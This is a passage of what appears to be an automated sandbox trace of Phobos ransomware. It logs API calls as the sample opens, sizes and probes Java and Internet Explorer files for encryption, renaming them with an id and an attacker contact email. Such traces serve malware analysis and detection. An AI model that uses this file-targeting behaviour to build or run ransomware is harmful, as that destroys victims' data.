[0125.156] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=452) returned 1 [0125.156] CloseHandle (hObject=0x594) returned 1 [0125.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 0x20 [0125.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.156] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.156] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.156] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.158] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=159808) returned 1 [0125.158] CloseHandle (hObject=0x594) returned 1 [0125.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 0x20 [0125.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.158] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.160] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=86080) returned 1 [0125.160] CloseHandle (hObject=0x594) returned 1 [0125.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 0x20 [0125.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.160] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.161] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=587840) returned 1 [0125.161] CloseHandle (hObject=0x594) returned 1 [0125.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 0x20 [0125.162] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.162] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.162] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=1026112) returned 1 [0125.162] CloseHandle (hObject=0x594) returned 1 [0125.162] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 0x20 [0125.162] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.162] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.162] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=1156672) returned 1 [0125.163] CloseHandle (hObject=0x594) returned 1 [0125.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 0x20 [0125.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.163] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.163] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.163] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.165] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=29760) returned 1 [0125.165] CloseHandle (hObject=0x594) returned 1 [0125.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 0x20 [0125.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.165] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.165] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=24640) returned 1 [0125.165] CloseHandle (hObject=0x594) returned 1 [0125.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 0x20 [0125.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.166] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.166] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=136256) returned 1 [0125.166] CloseHandle (hObject=0x594) returned 1 [0125.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 0x20 [0125.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.167] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.168] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=274496) returned 1 [0125.168] CloseHandle (hObject=0x594) returned 1 [0125.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 0x20 [0125.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.168] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.168] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.168] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.169] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=186944) returned 1 [0125.169] CloseHandle (hObject=0x594) returned 1 [0125.169] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 0x20 [0125.169] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.169] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.169] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.169] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.169] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=265792) returned 1 [0125.170] CloseHandle (hObject=0x594) returned 1 [0125.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 0x20 [0125.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.170] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.170] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=455744) returned 1 [0125.170] CloseHandle (hObject=0x594) returned 1 [0125.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 0x20 [0125.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.170] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.172] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=619584) returned 1 [0125.172] CloseHandle (hObject=0x594) returned 1 [0125.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 0x20 [0125.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.173] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.173] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=158272) returned 1 [0125.173] CloseHandle (hObject=0x594) returned 1 [0125.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 0x20 [0125.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.173] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.174] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=123456) returned 1 [0125.174] CloseHandle (hObject=0x594) returned 1 [0125.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 0x20 [0125.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.174] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.175] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=19008) returned 1 [0125.176] CloseHandle (hObject=0x594) returned 1 [0125.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 0x20 [0125.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.179] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.179] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=63552) returned 1 [0125.179] CloseHandle (hObject=0x594) returned 1 [0125.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 0x20 [0125.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program 